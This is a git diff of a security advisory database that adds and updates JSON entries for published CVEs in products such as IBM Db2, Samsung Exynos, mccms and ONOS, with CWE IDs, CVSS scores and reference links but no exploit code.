diff --git a/advisories/unreviewed/2022/08/GHSA-vq2h-cpgf-cp92/GHSA-vq2h-cpgf-cp92.json b/advisories/unreviewed/2022/08/GHSA-vq2h-cpgf-cp92/GHSA-vq2h-cpgf-cp92.json
index e19b80fbc6a..0f83109cea3 100644
--- a/advisories/unreviewed/2022/08/GHSA-vq2h-cpgf-cp92/GHSA-vq2h-cpgf-cp92.json
+++ b/advisories/unreviewed/2022/08/GHSA-vq2h-cpgf-cp92/GHSA-vq2h-cpgf-cp92.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-wm27-533h-mgf3/GHSA-wm27-533h-mgf3.json b/advisories/unreviewed/2022/08/GHSA-wm27-533h-mgf3/GHSA-wm27-533h-mgf3.json
index 4cfb8c0d235..c41112076c2 100644
--- a/advisories/unreviewed/2022/08/GHSA-wm27-533h-mgf3/GHSA-wm27-533h-mgf3.json
+++ b/advisories/unreviewed/2022/08/GHSA-wm27-533h-mgf3/GHSA-wm27-533h-mgf3.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-200"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-xq9j-g4hv-hg56/GHSA-xq9j-g4hv-hg56.json b/advisories/unreviewed/2022/08/GHSA-xq9j-g4hv-hg56/GHSA-xq9j-g4hv-hg56.json
index c316fbba547..53c2d8a69ad 100644
--- a/advisories/unreviewed/2022/08/GHSA-xq9j-g4hv-hg56/GHSA-xq9j-g4hv-hg56.json
+++ b/advisories/unreviewed/2022/08/GHSA-xq9j-g4hv-hg56/GHSA-xq9j-g4hv-hg56.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/09/GHSA-h526-2w67-6rr7/GHSA-h526-2w67-6rr7.json b/advisories/unreviewed/2022/09/GHSA-h526-2w67-6rr7/GHSA-h526-2w67-6rr7.json
index 638ff26a98c..cdd96520ccd 100644
--- a/advisories/unreviewed/2022/09/GHSA-h526-2w67-6rr7/GHSA-h526-2w67-6rr7.json
+++ b/advisories/unreviewed/2022/09/GHSA-h526-2w67-6rr7/GHSA-h526-2w67-6rr7.json
@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-h526-2w67-6rr7",
-  "modified": "2022-09-23T00:00:41Z",
+  "modified": "2025-05-29T21:31:31Z",
   "published": "2022-09-20T00:00:22Z",
   "aliases": [
     "CVE-2022-37347"
diff --git a/advisories/unreviewed/2024/03/GHSA-rgg3-prc9-59mw/GHSA-rgg3-prc9-59mw.json b/advisories/unreviewed/2024/03/GHSA-rgg3-prc9-59mw/GHSA-rgg3-prc9-59mw.json
index 62007cbd23b..93429a648ef 100644
--- a/advisories/unreviewed/2024/03/GHSA-rgg3-prc9-59mw/GHSA-rgg3-prc9-59mw.json
+++ b/advisories/unreviewed/2024/03/GHSA-rgg3-prc9-59mw/GHSA-rgg3-prc9-59mw.json
@@ -1,12 +1,12 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-rgg3-prc9-59mw",
-  "modified": "2024-03-28T06:30:45Z",
+  "modified": "2025-05-29T21:31:32Z",
   "published": "2024-03-28T06:30:45Z",
   "aliases": [
     "CVE-2024-30223"
   ],
-  "details": "Deserialization of Untrusted Data vulnerability in Repute Infosystems ARMember.This issue affects ARMember: from n/a through 4.0.26.\n\n",
+  "details": "Deserialization of Untrusted Data vulnerability in Repute Infosystems ARMember.This issue affects ARMember: from n/a through 4.0.26.",
   "severity": [
     {
       "type": "CVSS_V3",
diff --git a/advisories/unreviewed/2024/03/GHSA-xv65-m527-x787/GHSA-xv65-m527-x787.json b/advisories/unreviewed/2024/03/GHSA-xv65-m527-x787/GHSA-xv65-m527-x787.json
index 867200c32f3..5c8f278b0fd 100644
--- a/advisories/unreviewed/2024/03/GHSA-xv65-m527-x787/GHSA-xv65-m527-x787.json
+++ b/advisories/unreviewed/2024/03/GHSA-xv65-m527-x787/GHSA-xv65-m527-x787.json
@@ -1,12 +1,12 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-xv65-m527-x787",
-  "modified": "2024-03-28T06:30:45Z",
+  "modified": "2025-05-29T21:31:32Z",
   "published": "2024-03-28T06:30:45Z",
   "aliases": [
     "CVE-2024-30222"
   ],
-  "details": "Deserialization of Untrusted Data vulnerability in Repute Infosystems ARMember.This issue affects ARMember: from n/a through 4.0.26.\n\n",
+  "details": "Deserialization of Untrusted Data vulnerability in Repute Infosystems ARMember.This issue affects ARMember: from n/a through 4.0.26.",
   "severity": [
     {
       "type": "CVSS_V3",
diff --git a/advisories/unreviewed/2024/06/GHSA-69h4-r42q-6wmv/GHSA-69h4-r42q-6wmv.json b/advisories/unreviewed/2024/06/GHSA-69h4-r42q-6wmv/GHSA-69h4-r42q-6wmv.json
index 82651864b30..4b71cb6b1e4 100644
--- a/advisories/unreviewed/2024/06/GHSA-69h4-r42q-6wmv/GHSA-69h4-r42q-6wmv.json
+++ b/advisories/unreviewed/2024/06/GHSA-69h4-r42q-6wmv/GHSA-69h4-r42q-6wmv.json
@@ -26,6 +26,7 @@
   ],
   "database_specific": {
     "cwe_ids": [
+      "CWE-79",
       "CWE-80"
     ],
     "severity": "MODERATE",
diff --git a/advisories/unreviewed/2024/06/GHSA-6c56-3ggg-5wxc/GHSA-6c56-3ggg-5wxc.json b/advisories/unreviewed/2024/06/GHSA-6c56-3ggg-5wxc/GHSA-6c56-3ggg-5wxc.json
index 43b6f11cc44..18dfd7c7124 100644
--- a/advisories/unreviewed/2024/06/GHSA-6c56-3ggg-5wxc/GHSA-6c56-3ggg-5wxc.json
+++ b/advisories/unreviewed/2024/06/GHSA-6c56-3ggg-5wxc/GHSA-6c56-3ggg-5wxc.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-79"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2024/06/GHSA-g32g-9438-h47q/GHSA-g32g-9438-h47q.json b/advisories/unreviewed/2024/06/GHSA-g32g-9438-h47q/GHSA-g32g-9438-h47q.json
index 78cc4f4a00d..f6073fcf947 100644
--- a/advisories/unreviewed/2024/06/GHSA-g32g-9438-h47q/GHSA-g32g-9438-h47q.json
+++ b/advisories/unreviewed/2024/06/GHSA-g32g-9438-h47q/GHSA-g32g-9438-h47q.json
@@ -25,7 +25,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-79"
+    ],
     "severity": "CRITICAL",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2024/06/GHSA-p863-q32c-8f73/GHSA-p863-q32c-8f73.json b/advisories/unreviewed/2024/06/GHSA-p863-q32c-8f73/GHSA-p863-q32c-8f73.json
index f3fc0190839..641736c4f16 100644
--- a/advisories/unreviewed/2024/06/GHSA-p863-q32c-8f73/GHSA-p863-q32c-8f73.json
+++ b/advisories/unreviewed/2024/06/GHSA-p863-q32c-8f73/GHSA-p863-q32c-8f73.json
@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-p863-q32c-8f73",
-  "modified": "2024-06-04T15:30:58Z",
+  "modified": "2025-05-29T21:31:34Z",
   "published": "2024-06-04T15:30:58Z",
   "aliases": [
     "CVE-2023-51667"
diff --git a/advisories/unreviewed/2025/05/GHSA-46f9-q7p3-mph9/GHSA-46f9-q7p3-mph9.json b/advisories/unreviewed/2025/05/GHSA-46f9-q7p3-mph9/GHSA-46f9-q7p3-mph9.json
new file mode 100644
index 00000000000..dece9926f94
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-46f9-q7p3-mph9/GHSA-46f9-q7p3-mph9.json
@@ -0,0 +1,52 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-46f9-q7p3-mph9",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-5328"
+  ],
+  "details": "A vulnerability was found in chshcms mccms 2.7. It has been declared as critical. This vulnerability affects the function restore_del of the file /sys/apps/controllers/admin/Backups.php. The manipulation of the argument dirs leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5328"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/caigo8/CVE-md/blob/main/Mccms_V2.7/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4.md"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.310498"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.310498"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.582297"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-22"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T21:15:26Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-4h2p-hmwx-g38g/GHSA-4h2p-hmwx-g38g.json b/advisories/unreviewed/2025/05/GHSA-4h2p-hmwx-g38g/GHSA-4h2p-hmwx-g38g.json
new file mode 100644
index 00000000000..7b6b1f32140
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-4h2p-hmwx-g38g/GHSA-4h2p-hmwx-g38g.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-4h2p-hmwx-g38g",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-3050"
+  ],
+  "details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1 could allow an authenticated user to cause a denial of service when using Q replication due to the improper allocation of CPU resources.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3050"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.ibm.com/support/pages/node/7235073"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-770"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:26Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-4v6j-536v-64fw/GHSA-4v6j-536v-64fw.json b/advisories/unreviewed/2025/05/GHSA-4v6j-536v-64fw/GHSA-4v6j-536v-64fw.json
index 4f1e84bf9df..62882ae6ab7 100644
--- a/advisories/unreviewed/2025/05/GHSA-4v6j-536v-64fw/GHSA-4v6j-536v-64fw.json
+++ b/advisories/unreviewed/2025/05/GHSA-4v6j-536v-64fw/GHSA-4v6j-536v-64fw.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-4v6j-536v-64fw",
-  "modified": "2025-05-27T18:30:51Z",
+  "modified": "2025-05-29T21:31:36Z",
   "published": "2025-05-27T18:30:51Z",
   "aliases": [
     "CVE-2025-22377"
   ],
   "details": "An issue was discovered in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 9110, W920, W930, W1000, Modem 5123, Modem 5300, Modem 5400. A Heap-based Out-of-Bounds Write exists in the GPRS protocol implementation because of a mismatch between the actual length of the payload and the length declared within the payload.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -20,8 +25,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-787"
+    ],
+    "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-27T17:15:25Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-5x56-8gp2-c78j/GHSA-5x56-8gp2-c78j.json b/advisories/unreviewed/2025/05/GHSA-5x56-8gp2-c78j/GHSA-5x56-8gp2-c78j.json
new file mode 100644
index 00000000000..81648451790
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-5x56-8gp2-c78j/GHSA-5x56-8gp2-c78j.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-5x56-8gp2-c78j",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2024-49350"
+  ],
+  "details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49350"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.ibm.com/support/pages/node/7235069"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-121"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:25Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-65p9-x3qj-q764/GHSA-65p9-x3qj-q764.json b/advisories/unreviewed/2025/05/GHSA-65p9-x3qj-q764/GHSA-65p9-x3qj-q764.json
new file mode 100644
index 00000000000..6790c941edc
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-65p9-x3qj-q764/GHSA-65p9-x3qj-q764.json
@@ -0,0 +1,56 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-65p9-x3qj-q764",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-5324"
+  ],
+  "details": "A vulnerability, which was classified as problematic, was found in TechPowerUp GPU-Z 2.23.0. Affected is the function sub_140001880 in the library GPU-Z.sys of the component 0x8000645C IOCTL Handler. The manipulation leads to memory leak. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5324"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/Aiyakami/CVE-1/issues/3"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/Aiyakami/CVE-1/tree/main/test1"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.310494"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.310494"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.580513"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-401"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T19:15:28Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-72j9-42hm-6rv2/GHSA-72j9-42hm-6rv2.json b/advisories/unreviewed/2025/05/GHSA-72j9-42hm-6rv2/GHSA-72j9-42hm-6rv2.json
index 0e796d652f6..36ac9a3ce95 100644
--- a/advisories/unreviewed/2025/05/GHSA-72j9-42hm-6rv2/GHSA-72j9-42hm-6rv2.json
+++ b/advisories/unreviewed/2025/05/GHSA-72j9-42hm-6rv2/GHSA-72j9-42hm-6rv2.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-72j9-42hm-6rv2",
-  "modified": "2025-05-27T18:30:51Z",
+  "modified": "2025-05-29T21:31:36Z",
   "published": "2025-05-27T18:30:51Z",
   "aliases": [
     "CVE-2024-49197"
   ],
   "details": "An issue was discovered in Wi-Fi in Samsung Mobile Processor and Wearable Processor Exynos 980, 850, 1080, 1280, 1330, 1380, 1480, W920, W930, and W1000. Lack of a boundary check in STOP_KEEP_ALIVE_OFFLOAD leads to out-of-bounds access.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -24,8 +29,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-125"
+    ],
+    "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-27T18:15:30Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-7j38-84h7-4xcv/GHSA-7j38-84h7-4xcv.json b/advisories/unreviewed/2025/05/GHSA-7j38-84h7-4xcv/GHSA-7j38-84h7-4xcv.json
new file mode 100644
index 00000000000..d334a351337
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-7j38-84h7-4xcv/GHSA-7j38-84h7-4xcv.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-7j38-84h7-4xcv",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-32752"
+  ],
+  "details": "Dell ThinOS 2502 and prior contain a Cleartext Storage of Sensitive Information vulnerability. A high privileged attacker with physical access could potentially exploit this vulnerability, leading to Information Disclosure.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:P/AC:H/PR:H/UI:R/S:U/C:H/I:L/A:L"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32752"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.dell.com/support/kbdoc/en-us/000325632/dsa-2025-225"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-312"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T19:15:27Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-8pgp-5cg5-c3cj/GHSA-8pgp-5cg5-c3cj.json b/advisories/unreviewed/2025/05/GHSA-8pgp-5cg5-c3cj/GHSA-8pgp-5cg5-c3cj.json
index ee44c679358..b64078cf840 100644
--- a/advisories/unreviewed/2025/05/GHSA-8pgp-5cg5-c3cj/GHSA-8pgp-5cg5-c3cj.json
+++ b/advisories/unreviewed/2025/05/GHSA-8pgp-5cg5-c3cj/GHSA-8pgp-5cg5-c3cj.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-8pgp-5cg5-c3cj",
-  "modified": "2025-05-27T18:30:51Z",
+  "modified": "2025-05-29T21:31:36Z",
   "published": "2025-05-27T18:30:51Z",
   "aliases": [
     "CVE-2024-49196"
   ],
   "details": "An issue was discovered in the GPU in Samsung Mobile Processor Exynos 1480 and 2400. Type confusion leads to a Denial of Service.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -24,8 +29,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-843"
+    ],
+    "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-27T17:15:25Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-9w24-h326-957x/GHSA-9w24-h326-957x.json b/advisories/unreviewed/2025/05/GHSA-9w24-h326-957x/GHSA-9w24-h326-957x.json
new file mode 100644
index 00000000000..81fb3b8388d
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-9w24-h326-957x/GHSA-9w24-h326-957x.json
@@ -0,0 +1,48 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-9w24-h326-957x",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-5326"
+  ],
+  "details": "A vulnerability was found in zhilink 智互联(深圳)科技有限公司 ADP Application Developer Platform 应用开发者平台 1.0.0 and classified as critical. Affected by this issue is some unknown functionality of the file /adpweb/wechat/verifyToken/. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5326"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.310496"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.310496"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.581277"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-20"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:28Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-cccf-vfhh-2vvp/GHSA-cccf-vfhh-2vvp.json b/advisories/unreviewed/2025/05/GHSA-cccf-vfhh-2vvp/GHSA-cccf-vfhh-2vvp.json
index 94557d10fbb..7cfa1db1238 100644
--- a/advisories/unreviewed/2025/05/GHSA-cccf-vfhh-2vvp/GHSA-cccf-vfhh-2vvp.json
+++ b/advisories/unreviewed/2025/05/GHSA-cccf-vfhh-2vvp/GHSA-cccf-vfhh-2vvp.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-cccf-vfhh-2vvp",
-  "modified": "2025-05-29T18:31:20Z",
+  "modified": "2025-05-29T21:31:37Z",
   "published": "2025-05-29T18:31:20Z",
   "aliases": [
     "CVE-2023-41591"
   ],
   "details": "An issue in Open Network Foundation ONOS v2.7.0 allows attackers to create fake IP/MAC addresses and potentially execute a man-in-the-middle attack on communications between fake and real hosts.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -24,8 +29,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-290"
+    ],
+    "severity": "CRITICAL",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-29T18:15:23Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-ch9q-9f6m-54h9/GHSA-ch9q-9f6m-54h9.json b/advisories/unreviewed/2025/05/GHSA-ch9q-9f6m-54h9/GHSA-ch9q-9f6m-54h9.json
index e0351548782..6fa7abc9ba3 100644
--- a/advisories/unreviewed/2025/05/GHSA-ch9q-9f6m-54h9/GHSA-ch9q-9f6m-54h9.json
+++ b/advisories/unreviewed/2025/05/GHSA-ch9q-9f6m-54h9/GHSA-ch9q-9f6m-54h9.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-ch9q-9f6m-54h9",
-  "modified": "2025-05-27T18:30:50Z",
+  "modified": "2025-05-29T21:31:36Z",
   "published": "2025-05-27T18:30:50Z",
   "aliases": [
     "CVE-2024-56193"
   ],
   "details": "There is a possible disclosure of Bluetooth adapter details due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -20,8 +25,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-200"
+    ],
+    "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-27T16:15:30Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-cxvm-398v-rmfg/GHSA-cxvm-398v-rmfg.json b/advisories/unreviewed/2025/05/GHSA-cxvm-398v-rmfg/GHSA-cxvm-398v-rmfg.json
new file mode 100644
index 00000000000..0e3567feec1
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-cxvm-398v-rmfg/GHSA-cxvm-398v-rmfg.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-cxvm-398v-rmfg",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-4967"
+  ],
+  "details": "Esri Portal for ArcGIS 11.4 and prior allows a remote, unauthenticated attacker to bypass the Portal’s SSRF protections.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4967"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2025-update-2-patch"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-918"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:27Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-fc5r-pj7x-f9m3/GHSA-fc5r-pj7x-f9m3.json b/advisories/unreviewed/2025/05/GHSA-fc5r-pj7x-f9m3/GHSA-fc5r-pj7x-f9m3.json
index 1f2b711b5b4..ee3e977cea6 100644
--- a/advisories/unreviewed/2025/05/GHSA-fc5r-pj7x-f9m3/GHSA-fc5r-pj7x-f9m3.json
+++ b/advisories/unreviewed/2025/05/GHSA-fc5r-pj7x-f9m3/GHSA-fc5r-pj7x-f9m3.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-fc5r-pj7x-f9m3",
-  "modified": "2025-05-29T18:31:20Z",
+  "modified": "2025-05-29T21:31:37Z",
   "published": "2025-05-29T18:31:20Z",
   "aliases": [
     "CVE-2024-53423"
   ],
   "details": "An issue in Open Network Foundation ONOS v2.7.0 allows attackers to cause a Denial of Service (DoS) via supplying crafted packets.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
